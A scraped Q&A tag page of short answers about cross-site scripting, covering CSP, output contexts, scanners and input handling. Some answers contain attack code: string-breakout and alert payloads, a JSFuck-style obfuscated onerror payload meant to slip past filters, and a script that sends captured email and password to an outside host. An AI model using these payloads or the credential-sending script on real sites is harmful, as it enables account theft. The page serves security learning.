Tag Info

New answers tagged

1

Yes this still poses a security risk. From what I understand this header is only used by IE 8 and newer tell the browser to use it's built in XSS filtering. Even if modern versions of other browsers user it, there are certainly older browsers that do not. In addition - I would not trust IE's built in XSS protection to keep anyone safe. If preventing ...


1

This is a great question, and I commend you taking the time to think about this from a security perspective rather than knee-jerk implement the solution from the link you sent. Yes, as you have feared, use of data: in a CSP directive is unsafe, since this allows for XSS vulnerabilities to be opened up as data: can handle any URI. This is spelled out in ...


0

A fairly comprehensive resource can be found here and here.


0

Indeed, if a nefarious person succeeds to store an XSS within your database through one of your website's inputs that can be the most dangerous aspect of an XSS as far as I know since it can be transformed to something like Samy worm which is just an XSS worm. The best way to evaluate that still remains manually, however as your database entries grow by ...


0

It looks like WebWorkers are not a security feature, but simply a way to run background threads on the client side of the web application. This means they don't protect you from any existing attacks but they may instead introduce new attack vectors :( Of interest in this regard might be the communication between the workers and the main thread: they are ...


0

Vulnerabilites determined by the scanner is not the accurate one anyway we have to cross check each and every vulnerable paramaters and url which is shown in the scanner. Scanner may also left some vulnerablities in some cases for that we have to manually check through the website. While verifying the result of the scanner,by copying the url to the ...


1

It depends on context. Which are of basic 5 types: HTML context In the body of an existing HTML tag or at the start and end of the page outside of the tag. <some_html_tag> user_input </some_html_tag> In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an ...


0

I would slightly disagree with @pineapplemans answer. If we use their example code with user input: <?php $phpvar = $_GET['f']; ?> <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> Then the payload \";alert('XSS');// would not execute. This is because the attack string isn't located directly inside the PHP code, so ...


2

By looking at this payload alone, without the rest of the code, it's probably hard to understand it. Let's say there is JS and PHP code in a website: <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable ...


2

I would make some amends to your script: img = new Image(); img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass); setTimeout('document.forms[0].submit();', 3000); return false; This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to ...


0

Normally vulnerabilities in the website can be done manually and using scanner tools.First determine the vulnerabilities using the Scanner tools and then check for False Positive, means verifying the scanning results. While verifying manually if the issue is not found then it is False Positived means it will be eliminated. In case like XSS the browser may ...


0

This allow the user to execute js as anyone who will see the message unfiltered, so in theory if he is the only one who will be able to see this message this isn't a problem but for any form which store data visible by other user it is a problem. But like said before it permit to any site your client will visite to execute js code inside your client session ...


3

You could use a scanner to guide you, but you need start with secure coding. Use a scanner to test for verification after you have implemented the secure coding concepts. First rule of secure coding is See input as evil. The first step to not trusting input in a web application is to encode (not filter) all user input. So, your input example will be HTML ...


0

The biggest risk I see is if alert(1) can be crafted inside an url. User logs in at https://example.com/some/page While session at example.com is still valid user clicks a random link from a forum that goes to: https://example.com/some/page?action=alert(1) User executes potentially malicious code in the context of your website


1

There's not enough information provided to correctly diagnose whether this is a vulnerability or not. If it was possible to trick a user into making the request directly to /data and include the malicious payload (<script>alert(1)</script>), then yes it would be a vulnerability if the alert box appeared. For example by tricking the user into ...


0

Something to think about is whether a malicious person could essentially trick the user into visiting a site which would mimic/cause the form to be submitted with the malicious user's input of choice (say, exploiting a cross-site request forgery vulnerability at the same time). It's not all about just generating a URL. In that case, the user could be ...


-1

This work correctly for me (the comments indicate what we are generating line-by-line): <img src="x" onerror="([] [( // []. ({}+[]) [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c' ({}+[]) [+!+[]] + // 'o' ([]['']+[]) [+!+[]] + // 'n' ([![]]+[]) [!+[]+!+[]+!+[]] + // 's' ([!![]]+[]) [+[]] ...


2

An obvious scenario, as @schroeder pointed out in one of the comments, is when the server inspects strings for blacklisted strings like alert(1). Apart from that, in order for the payload to work, the application must meet the following conditions: There should be no restriction on the input length (as you can see, the payload can be enormous length). The ...


0

The best solution would be to blacklist certain characters and sequences (recursively). It all depends on how much usability you are willing to sacrifice for security. You can blacklist scripts tags and somebody can use img src=# onerror etc. It can't hurt to do that if these sequences aren't ever expected but again I don't know the use of your ...



Top 50 recent answers are included